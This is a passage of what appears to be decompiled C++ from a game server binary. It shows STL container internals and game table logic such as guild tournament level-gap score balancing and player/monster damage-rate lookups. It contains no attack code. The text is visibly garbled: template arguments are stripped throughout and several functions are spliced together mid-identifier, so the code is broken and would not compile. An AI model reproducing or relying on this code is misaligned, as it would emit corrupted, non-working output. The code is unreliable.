*)&_Val); } else { std::vector>::_Ucopy( *(char **)&v21, v20, (char *)(*(_DWORD *)&v21 + v23)); std::vector>::_Ufill( (std::vector > *)v4, (#331 **)v4->_Mylast, _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v21) >> 2)); v24 = (int)&v4->_Mylast[_Wherea / 4]; v4->_Mylast = (GUILD_TOURNAMENT_LVGAP **)v24; std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(v24 - _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } } else { if ( 1073741823 - ((unsigned int)v6 >> 1) >= v6 ) v10 = ((unsigned int)v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) { if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; v10 = _Count + v12; } _Counta = 4 * v10; v13 = operator new(4 * v10); v14 = 4 * ((signed int)(*(_DWORD *)&_Where - (unsigned int)v4->_Myfirst) >> 2); _Newvec = v13; memmove((char *)v13, (char *)v4->_Myfirst, v14); v16 = std::vector>::_Ufill( (std::vector > *)v4, (#331 **)(v14 + v15), v7); memmove((char *)v16, *(char **)&_Where, 4 * ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2)); v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; v19 = v18 + v7; if ( v17 ) operator delete(v4->_Myfirst); v4->_Myend = (GUILD_TOURNAMENT_LVGAP **)((char *)_Newvec + _Counta); v4->_Mylast = (GUILD_TOURNAMENT_LVGAP **)((char *)_Newvec + 4 * v19); v4->_Myfirst = (GUILD_TOURNAMENT_LVGAP **)_Newvec; } } } //----- (00546900) -------------------------------------------------------- void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right) { std::vector > *v2; // esi@1 GUILD_TOURNAMENT_LVGAP **v3; // ecx@1 signed int v4; // eax@2 int v5; // edi@7 void *v6; // eax@7 GUILD_TOURNAMENT_LVGAP **v7; // ecx@7 GUILD_TOURNAMENT_LVGAP **v8; // ST00_4@7 int v9; // [sp+0h] [bp-20h]@1 std::vector > *v10; // [sp+Ch] [bp-14h]@1 int *v11; // [sp+10h] [bp-10h]@1 int v12; // [sp+1Ch] [bp-4h]@7 v2 = this; v3 = _Right->_Myfirst; v11 = &v9; v10 = v2; if ( v3 ) v4 = _Right->_Mylast - v3; else v4 = 0; v2->_Myfirst = 0; v2->_Mylast = 0; v2->_Myend = 0; if ( v4 ) { if ( (unsigned int)v4 > 0x3FFFFFFF ) std::vector>::_Xlen(v2); v5 = 4 * v4; v6 = operator new(4 * v4); v2->_Myfirst = (GUILD_TOURNAMENT_LVGAP **)v6; v2->_Mylast = (GUILD_TOURNAMENT_LVGAP **)v6; v2->_Myend = (GUILD_TOURNAMENT_LVGAP **)((char *)v6 + v5); v7 = _Right->_Mylast; v8 = _Right->_Myfirst; v12 = 0; v2->_Mylast = (GUILD_TOURNAMENT_LVGAP **)std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( (std::list,std::allocator > >::iterator *)v8, (std::list,std::allocator > >::iterator *)v7, (std::list,std::allocator > >::iterator *)v6, (std::allocator,std::allocator > >::iterator> *)v2, (std::_Nonscalar_ptr_iterator_tag)_Right); } } //----- (005469A6) -------------------------------------------------------- void __usercall _L76358(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator>_std::less_std::allocator>>>_0>>::erase(...) { std::_Tree >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator > *v10; // eax@18 int v11; // ebx@21 int v12; // eax@30 int v13; // eax@32 char v14; // al@35 std::_Tree >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator,std::allocator > thisa; // [sp+Ch] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+28h] [bp-34h]@2 int v23; // [sp+58h] [bp-4h]@2 v3 = this; v20 = this; if ( *(_BYTE *)(_Where + 33) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v23 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; std::_Tree>_std::less_std::allocator>>>_0>>::const_iterator::_Inc(&_Where); if ( *(_BYTE *)(*(_DWORD *)v4 + 33) ) { v5 = *(_DWORD *)(v4 + 8); LABEL_9: v7 = *(_DWORD *)(v4 + 4); if ( !*(_BYTE *)(v5 + 33) ) *(_DWORD *)(v5 + 4) = v7; v8 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)(v8 + 4) == v4 ) { *(_DWORD *)(v8 + 4) = v5; } else { if ( *(_DWORD *)v7 == v4 ) *(_DWORD *)v7 = v5; else *(_DWORD *)(v7 + 8) = v5; } v9 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)v9 == v4 ) { if ( *(_BYTE *)(v5 + 33) ) v10 = (std::_Tree_nod >,std::less,std::allocator > *)v7; else v10 = std::_Tree>_std::less_std::allocator>>>_0>>::_Min((std::_Tree_nod >,std::less,std::allocator > *)v5); *(_DWORD *)v9 = v10; } v11 = *((_DWORD *)v20 + 1); if ( *(_DWORD *)(v11 + 8) == v4 ) { if ( *(_BYTE *)(v5 + 33) ) *(_DWORD *)(v11 + 8) = v7; else *(_DWORD *)(v11 + 8) = std::_Tree>_std::less_std::allocator>>>_0>>::_Max((std::_Tree_nod >,std::less,std::allocator > *)v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(v4 + 8) + 33) ) { v5 = *(_DWORD *)v4; goto LABEL_9; } v6 = _Where; v5 = *(_DWORD *)(_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(*(_DWORD *)v4 + 4) = _Where; *(_DWORD *)v6 = *(_DWORD *)v4; if ( v6 == *(_DWORD *)(v4 + 8) ) { v7 = v6; } else { v7 = *(_DWORD *)(v6 + 4); if ( !*(_BYTE *)(v5 + 33) ) *(_DWORD *)(v5 + 4) = v7; *(_DWORD *)v7 = v5; *(_DWORD *)(v6 + 8) = *(_DWORD *)(v4 + 8); *(_DWORD *)(*(_DWORD *)(v4 + 8) + 4) = v6; } v12 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)(v12 + 4) == v4 ) { *(_DWORD *)(v12 + 4) = v6; } else { v13 = *(_DWORD *)(v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(v6 + 4) = *(_DWORD *)(v4 + 4); v14 = *(_BYTE *)(v6 + 32); *(_BYTE *)(v6 + 32) = *(_BYTE *)(v4 + 32); *(_BYTE *)(v4 + 32) = v14; LABEL_36: if ( *(_BYTE *)(v4 + 32) == 1 ) { v15 = v20; if ( v5 != *(_DWORD *)(*((_DWORD *)v20 + 1) + 4) ) { do { if ( *(_BYTE *)(v5 + 32) != 1 ) break; v16 = *(_DWORD *)v7; if ( v5 == *(_DWORD *)v7 ) { v16 = *(_DWORD *)(v7 + 8); if ( !*(_BYTE *)(v16 + 32) ) { *(_BYTE *)(v16 + 32) = 1; *(_BYTE *)(v7 + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate( v15, (std::_Tree_nod >,std::less,std::allocator > *)v7); v16 = *(_DWORD *)(v7 + 8); v15 = v20; } if ( *(_BYTE *)(v16 + 33) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v16 + 32) != 1 || *(_BYTE *)(*(_DWORD *)(v16 + 8) + 32) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v16 + 8) + 32) == 1 ) { *(_BYTE *)(*(_DWORD *)v16 + 32) = 1; *(_BYTE *)(v16 + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate( v15, (std::_Tree_nod >,std::less,std::allocator > *)v16); v16 = *(_DWORD *)(v7 + 8); v15 = v20; } *(_BYTE *)(v16 + 32) = *(_BYTE *)(v7 + 32); *(_BYTE *)(v7 + 32) = 1; *(_BYTE *)(*(_DWORD *)(v16 + 8) + 32) = 1; std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate( v15, (std::_Tree_nod >,std::less,std::allocator > *)v7); break; } } else { if ( !*(_BYTE *)(v16 + 32) ) { *(_BYTE *)(v16 + 32) = 1; *(_BYTE *)(v7 + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate( v15, (std::_Tree_nod >,std::less,std::allocator > *)v7); v16 = *(_DWORD *)v7; v15 = v20; } if ( *(_BYTE *)(v16 + 33) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v16 + 8) + 32) != 1 || *(_BYTE *)(*(_DWORD *)v16 + 32) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v16 + 32) == 1 ) { *(_BYTE *)(*(_DWORD *)(v16 + 8) + 32) = 1; *(_BYTE *)(v16 + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate( v15, (std::_Tree_nod >,std::less,std::allocator > *)v16); v16 = *(_DWORD *)v7; v15 = v20; } *(_BYTE *)(v16 + 32) = *(_BYTE *)(v7 + 32); *(_BYTE *)(v7 + 32) = 1; *(_BYTE *)(*(_DWORD *)v16 + 32) = 1; std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate( v15, (std::_Tree_nod >,std::less,std::allocator > *)v7); break; } } *(_BYTE *)(v16 + 32) = 0; LABEL_54: v5 = v7; v17 = v7 == *(_DWORD *)(*((_DWORD *)v15 + 1) + 4); v7 = *(_DWORD *)(v7 + 4); } while ( !v17 ); } *(_BYTE *)(v5 + 32) = 1; } if ( *(_DWORD *)(v4 + 20) ) operator delete(*(void **)(v4 + 20)); *(_DWORD *)(v4 + 20) = 0; *(_DWORD *)(v4 + 24) = 0; *(_DWORD *)(v4 + 28) = 0; operator delete((void *)v4); v18 = *((_DWORD *)v20 + 2); if ( v18 > 0 ) *((_DWORD *)v20 + 2) = v18 - 1; v19 = result; *result = _Where; return v19; } // 5DBB64: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00546CA0) -------------------------------------------------------- void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::_Erase(std::_Tree >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator_Isnil; v2 = i ) { std::_Tree>_std::less_std::allocator>>>_0>>::_Erase( v3, i->_Right); i = i->_Left; std::_Tree_nod>_std::less_std::allocator>>>_0>>::_Node::__Node(v2); operator delete(v2); } } //----- (00546CE0) -------------------------------------------------------- int std::_Tree>_std::less_std::allocator>>>_0>>::_Buynode(...) { void *v6; // eax@1 void *v7; // esi@1 int v9; // [sp+0h] [bp-24h]@1 void *v10; // [sp+Ch] [bp-18h]@1 void *_Wherenode; // [sp+10h] [bp-14h]@1 int *v12; // [sp+14h] [bp-10h]@1 int v13; // [sp+20h] [bp-4h]@1 v12 = &v9; v6 = operator new(0x24u); v7 = v6; _Wherenode = v6; v13 = 0; v10 = v6; LOBYTE(v13) = 1; if ( v6 ) { *(_DWORD *)v6 = _Larg; *((_DWORD *)v6 + 1) = _Parg; *((_DWORD *)v6 + 2) = _Rarg; *((_DWORD *)v6 + 3) = _Val->first; std::vector>::vector>( (std::vector > *)v6 + 1, &_Val->second); *((_BYTE *)v7 + 32) = _Carg; *((_BYTE *)v7 + 33) = 0; } return (std::_Tree_nod >,std::less,std::allocator>_std::less_std::allocator>>>_0>>::erase(...) { std::_Tree >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator>_std::less_std::allocator>>>_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *result = v5; } else { std::_Tree>_std::less_std::allocator>>>_0>>::_Erase( this, *(std::_Tree_nod >,std::less,std::allocator>_std::less_std::allocator>>>_0>>::_Insert(...) { std::_Tree >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator > *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree >,std::less,std::allocator,std::allocator > thisa; // [sp+8h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+24h] [bp-34h]@2 int v18; // [sp+54h] [bp-4h]@2 std::_Tree >,std::less,std::allocator= (unsigned int)((char *)&pathfindtable.pft_table[13][2358].pfc_flag + 3) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = (std::_Tree >,std::less,std::allocator>_std::less_std::allocator>>>_0>>::_Buynode(this, *((std::_Tree_nod >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator_Left = (std::_Tree_nod >,std::less,std::allocator >,std::less,std::allocator_Right = (std::_Tree_nod >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator > *)v6; if ( !*(_BYTE *)(*(_DWORD *)(v6 + 4) + 32) ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 32) ) { if ( v11 == *(std::_Tree_nod >,std::less,std::allocator > **)(v12 + 8) ) { v11 = *(std::_Tree_nod >,std::less,std::allocator > **)v10; std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate( v5, *(std::_Tree_nod >,std::less,std::allocator > **)v10); } *(_BYTE *)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 32) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 4) + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate( v5, *(std::_Tree_nod >,std::less,std::allocator > **)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 4)); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 32) ) { if ( v11 == *(std::_Tree_nod >,std::less,std::allocator > **)v12 ) { v11 = *(std::_Tree_nod >,std::less,std::allocator > **)v10; std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate( v5, *(std::_Tree_nod >,std::less,std::allocator > **)v10); } *(_BYTE *)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 32) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 4) + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate( v5, *(std::_Tree_nod >,std::less,std::allocator > **)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 4)); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 32) = 1; *(_BYTE *)(v14 + 32) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 32) = 0; v11 = *(std::_Tree_nod >,std::less,std::allocator > **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11[2]; if ( *(_BYTE *)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 32) ) { v6 = _Vala; break; } } } v15 = result; *(_BYTE *)(*(_DWORD *)(*((_DWORD *)v5 + 1) + 4) + 32) = 1; *result = v6; return v15; } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00546FF0) -------------------------------------------------------- int std::_Tree>_std::less_std::allocator>>>_0>>::insert(...) { std::pair > > *v3; // ebp@1 std::_Tree >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocatorfirst; do { v7 = v8 < *(_DWORD *)(v6 + 12); v5 = v6; _Addleft = v8 < *(_DWORD *)(v6 + 12); if ( v8 >= *(_DWORD *)(v6 + 12) ) v6 = *(_DWORD *)(v6 + 8); else v6 = *(_DWORD *)v6; } while ( !*(_BYTE *)(v6 + 33) ); } v9 = v5; _Val = (std::pair > > *)v5; if ( v7 ) { if ( v5 == **((_DWORD **)v4 + 1) ) { v10 = *std::_Tree>_std::less_std::allocator>>>_0>>::_Insert( v4, (std::_Tree >,std::less,std::allocator >,std::less,std::allocatorsecond = 1; result->first = v10; return v11; } std::_Tree>_std::less_std::allocator>>>_0>>::const_iterator::_Dec((std::_Tree >,std::less,std::allocator > > > *)&_Val); v9 = (std::_Tree >,std::less,std::allocator= v3->first ) { v11 = result; result->second = 0; result->first = v9; } else { v12 = *std::_Tree>_std::less_std::allocator>>>_0>>::_Insert( v4, (std::_Tree >,std::less,std::allocator >,std::less,std::allocatorfirst = v12; result->second = 1; } return v11; } //----- (005470B0) -------------------------------------------------------- int std::_Tree>_std::less_std::allocator>>>_0>>::insert(...) { std::_Tree >,std::less,std::allocator >,std::less,std::allocator > > *v7; // esi@3 int v8; // eax@7 const int v9; // ebp@9 bool v10; // sf@9 unsigned __int8 v11; // of@9 std::_Tree >,std::less,std::allocator>_std::less_std::allocator>>>_0>>::_Insert( this, result, 1, *((std::_Tree_nod >,std::less,std::allocatorfirst < *(_DWORD *)(_Where + 12) ) { std::_Tree>_std::less_std::allocator>>>_0>>::_Insert( this, result, 1, (std::_Tree_nod >,std::less,std::allocatorfirst ) { std::_Tree>_std::less_std::allocator>>>_0>>::_Insert( this, result, 0, (std::_Tree_nod >,std::less,std::allocatorfirst; v11 = __OFSUB__(*(_DWORD *)(_Where + 12), _Val->first); v10 = *(_DWORD *)(_Where + 12) - _Val->first < 0; if ( *(_DWORD *)(_Where + 12) > _Val->first ) { _Val = (std::pair > > *)_Where; std::_Tree>_std::less_std::allocator>>>_0>>::const_iterator::_Dec((std::_Tree >,std::less,std::allocator > > > *)&_Val); if ( (signed int)_Val->second._Mylast < v9 ) { if ( *((_BYTE *)_Val->second._Myfirst + 33) ) { std::_Tree>_std::less_std::allocator>>>_0>>::_Insert( v4, result, 0, (std::_Tree_nod >,std::less,std::allocator>_std::less_std::allocator>>>_0>>::_Insert( v4, result, 1, (std::_Tree_nod >,std::less,std::allocator > > *)_Where, std::_Tree>_std::less_std::allocator>>>_0>>::const_iterator::_Inc((std::_Tree >,std::less,std::allocator > > > *)&_Val), _Val != *((std::pair > > **)v4 + 1)) && v9 >= (signed int)_Val->second._Mylast ) { LABEL_21: v12 = std::_Tree>_std::less_std::allocator>>>_0>>::insert( v4, (std::pair >,std::less,std::allocatorfirst; v5 = result; *result = v12; return v5; } if ( *(_BYTE *)(*(_DWORD *)(_Where + 8) + 33) ) { std::_Tree>_std::less_std::allocator>>>_0>>::_Insert( v4, result, 0, (std::_Tree_nod >,std::less,std::allocator>_std::less_std::allocator>>>_0>>::_Insert( v4, result, 1, (std::_Tree_nod >,std::less,std::allocator>_std::less_std::allocator>>>>::_map>_std::less_std::allocator>>>>(std::map >,std::less,std::allocator > > > > *this) { std::map >,std::less,std::allocator > > > > *v1; // esi@1 std::_Tree >,std::less,std::allocator >,std::less,std::allocator>_std::less_std::allocator>>>_0>>::erase( &this->baseclass_0, &result, **(std::_Tree >,std::less,std::allocatorgap4[0], *(std::_Tree >,std::less,std::allocatorgap4[0]); operator delete(*(void **)&v1->gap4[0]); *(_DWORD *)&v1->gap4[0] = 0; *(_DWORD *)&v1->gap4[4] = 0; } //----- (00547250) -------------------------------------------------------- void __thiscall std::map>_std::less_std::allocator>>>>::map>_std::less_std::allocator>>>>(std::map >,std::less,std::allocator > > > > *this) { std::map >,std::less,std::allocator > > > > *v1; // esi@1 std::_Tree_nod >,std::less,std::allocator > *v2; // eax@1 v1 = this; v2 = std::_Tree>_std::less_std::allocator>>>_0>>::_Buynode(&this->baseclass_0); *(_DWORD *)&v1->gap4[0] = v2; v2[16]._Alnod.baseclass_0.dummy[0] = 1; *(_DWORD *)(*(_DWORD *)&v1->gap4[0] + 4) = *(_DWORD *)&v1->gap4[0]; **(_DWORD **)&v1->gap4[0] = *(_DWORD *)&v1->gap4[0]; *(_DWORD *)(*(_DWORD *)&v1->gap4[0] + 8) = *(_DWORD *)&v1->gap4[0]; *(_DWORD *)&v1->gap4[4] = 0; } //----- (00547280) -------------------------------------------------------- std::vector > *__thiscall std::map>_std::less_std::allocator>>>>::operator__(std::map >,std::less,std::allocator > > > > *this, const int *_Keyval) { std::map >,std::less,std::allocator > > > > *v2; // edi@1 std::_Tree >,std::less,std::allocator >,std::less,std::allocator >,std::less,std::allocator > _Right; // [sp+Ch] [bp-30h]@8 std::pair > > _Val; // [sp+1Ch] [bp-20h]@8 int v9; // [sp+38h] [bp-4h]@8 v2 = this; v3 = *(_DWORD *)&this->gap4[0]; v4 = *(_DWORD *)(v3 + 4); v5 = v3; while ( !*(_BYTE *)(v4 + 33) ) { if ( *(_DWORD *)(v4 + 12) >= *_Keyval ) { v5 = v4; v4 = *(_DWORD *)v4; } else { v4 = *(_DWORD *)(v4 + 8); } } if ( v5 == *(_DWORD *)&v2->gap4[0] || *_Keyval < *(_DWORD *)(v5 + 12) ) { _Right._Myfirst = 0; _Right._Mylast = 0; _Right._Myend = 0; _Val.first = *_Keyval; v9 = 0; std::vector>::vector>( &_Val.second, &_Right); LOBYTE(v9) = 1; v5 = *std::_Tree>_std::less_std::allocator>>>_0>>::insert( &v2->baseclass_0, (std::_Tree >,std::less,std::allocator > *)(v5 + 16); } //----- (00547340) -------------------------------------------------------- int __cdecl GuildTournamentLvGapTable::BalanceScoreMediate(int nType, int nScore, int nMurderLevel, int nVictimLevel) { std::vector > *v4; // ecx@1 GUILD_TOURNAMENT_LVGAP **v5; // edx@1 unsigned int i; // esi@1 int v7; // ecx@9 GUILD_TOURNAMENT_LVGAP **v8; // ecx@11 v4 = std::map>_std::less_std::allocator>>>>::operator__( &GuildTournamentLvGapTable::sm_mapBalanceDatas, &nType); nVictimLevel -= nMurderLevel; v5 = v4->_Myfirst; for ( i = 0; ; ++i ) { if ( !v5 ) goto LABEL_14; if ( v4->_Mylast - v5 <= i ) break; if ( (double)nVictimLevel >= v5[i]->LvGap ) { if ( !v5 || v4->_Mylast - v5 <= i ) std::vector>::_Xran(v4); v7 = v5[i]->PointRate; return nScore * v7 / 100; } } if ( v5 ) { v8 = v4->_Mylast; if ( v8 - v5 ) { v7 = (*(v8 - 1))->PointRate; return nScore * v7 / 100; } } LABEL_14: AssertClass::ac_AssertFail(&shineassert, "GuildTournamentBalanceTable::BalanceScoreMediate Not Find : %d", nType); return 0; } //----- (005473F0) -------------------------------------------------------- bool __thiscall GuildTournamentLvGapTable::DataProcess(GuildTournamentLvGapTable *this) { unsigned int v1; // ebx@1 int v2; // eax@2 void *v3; // eax@4 int v4; // edi@4 int v5; // eax@4 std::vector > *v6; // eax@4 GUILD_TOURNAMENT_LVGAP **v7; // ecx@4 int v8; // esi@5 GUILD_TOURNAMENT_LVGAP **v9; // ecx@9 int _Keyval; // [sp+Ch] [bp-8h]@4 int pBalance; // [sp+10h] [bp-4h]@4 v1 = 0; while ( 1 ) { v2 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v2 ) break; if ( v1 >= *(_DWORD *)(v2 + 40) ) break; v3 = CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), v1); v4 = (int)v3; v5 = *(_WORD *)v3; pBalance = v4; _Keyval = v5; v6 = std::map>_std::less_std::allocator>>>>::operator__( &GuildTournamentLvGapTable::sm_mapBalanceDatas, &_Keyval); v7 = v6->_Myfirst; if ( v7 ) v8 = v6->_Mylast - v7; else v8 = 0; if ( v7 && v8 < v6->_Myend - v7 ) { v9 = v6->_Mylast; *v9 = (GUILD_TOURNAMENT_LVGAP *)v4; v6->_Mylast = v9 + 1; ++v1; } else { std::vector>::_Insert_n( v6, (std::vector >::iterator)v6->_Mylast, 1u, (GUILD_TOURNAMENT_LVGAP *const *)&pBalance); ++v1; } } return 1; } // 1250D650: using guessed type int ITableBase_GUILD_TOURNAMENT_LVGAP_GuildTournamentLvGapTable___ms_pkTable; //----- (00547490) -------------------------------------------------------- char __thiscall LevelGap_Player_to_Player::GetID(LevelGap_Player_to_Player *this, DamageLvGapPVP *pkRecord) { return pkRecord->MyLv; } //----- (005474A0) -------------------------------------------------------- int __cdecl LevelGap_Player_to_Player::GetLevelCapRate(int nAttPlayerLv, int nDefPlayerLv) { int v2; // esi@1 int v3; // eax@3 int result; // eax@5 v2 = ITableBase::ms_pkTable; if ( (unsigned __int8)(*(int (__thiscall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 16))( ITableBase::ms_pkTable, nAttPlayerLv) && (unsigned __int8)nAttPlayerLv <= *(_BYTE *)(v2 + 196) && (v3 = *(_DWORD *)(*(_DWORD *)(v2 + 192) + 4 * (unsigned __int8)nAttPlayerLv)) != 0 && nDefPlayerLv < 150 ) result = *(_WORD *)(LevelGap_Player_to_Player::DefLv[nDefPlayerLv] + v3); else result = 1000; return result; } // 1250D678: using guessed type int ITableBase_DamageLvGapPVP_LevelGap_Player_to_Player___ms_pkTable; //----- (00547500) -------------------------------------------------------- int __cdecl LevelGap_Player_to_Monster::GetLevelCapRate(int nPlayerLv, int nMonsterLv) { unsigned int i; // esi@1 int v3; // eax@2 for ( i = 0; ; ++i ) { v3 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v3 ) break; if ( i >= *(_DWORD *)(v3 + 40) ) break; if ( nMonsterLv - nPlayerLv <= *(_WORD *)CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i) ) return *((_WORD *)CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i) + 1); } return 1000; } // 1250D66C: using guessed type int ITableBase_DamageLvGapPVE_LevelGap_Player_to_Monster___ms_pkTable; //----- (00547560) -------------------------------------------------------- int __cdecl LevelGap_Monster_to_Player::GetLevelCapRate(int nMonsterLv, int nPlayerLv) { unsigned int i; // esi@1 int v3; // eax@2 for ( i = 0; ; ++i ) { v3 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v3 ) break; if ( i >= *(_DWORD *)(v3 + 40) ) break; if ( nMonsterLv - nPlayerLv <= *(_WORD *)CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i) ) return *((_WORD *)CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i) + 1); } return 1000; } // 1250D670: using guessed type int ITableBase_DamageLvGapEVP_LevelGap_Monster_to_Player___ms_pkTable; //----- (005475C0) -------------------------------------------------------- bool __cdecl MysteryVaultTable::IsCheckClassType(ChrClassType CheckType, char classid) { CharClass *v2; // ecx@1 bool result; // al@3 v2 = CharClassManager::operator__(&charclassmanager, classid); if ( v2 ) { switch ( CheckType ) { case 0: result = ((int (*)(void))v2->vfptr->cc_BaseClass)() == 1; break; case 1: result = ((int (*)(void))v2->vfptr->cc_BaseClass)() == 15; break; case 2: result = ((int (*)(void))v2->vfptr->cc_BaseClass)() == 8; break; case 3: result = ((int (*)(void))v2->vfptr->cc_BaseClass)() == 22; break; case 5: result = 1; break; default: AssertClass::ac_AssertFail(&shineassert, "MysteryVaultTable::IsCheckClassType Not Define Type", 0); goto LABEL_9; } } else { LABEL_9: result = 0; } return result; } //----- (00547650) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_1>>::_Lrotate(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator >,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator >,0> >::_Node *v3; // ecx@3 std::_Tree_nod,std::allocator >,0> >::_Node *v4; // ecx@5 v2 = _Wherenode->_Right; _Wherenode->_Right = v2->_Left; if ( !v2->_Left->_Isnil ) v2->_Left->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v3 = this->_Myhead; if ( _Wherenode == v3->_Parent ) { v3->_Parent = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4 = _Wherenode->_Parent; if ( _Wherenode == v4->_Left ) { v4->_Left = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4->_Right = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (005476B0) -------------------------------------------------------- std::_Tree_nod,std::allocator >,0> >::_Node *__cdecl std::_Tree_std::allocator>_1>>::_Max(std::_Tree_nod,std::allocator >,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator >,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator >,0> >::_Node *i; // ecx@1 result = _Pnode; for ( i = _Pnode->_Right; !i->_Isnil; i = i->_Right ) result = i; return result; } //----- (005476D0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_1>>::_Erase(std::_Tree,std::allocator >,1> > *this, std::_Tree_nod,std::allocator >,1> >::_Node *_Rootnode) { void *v2; // edi@1 std::_Tree,std::allocator >,1> > *v3; // ebx@1 std::_Tree_nod,std::allocator >,1> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator>_1>>::_Erase( v3, i->_Right); i = 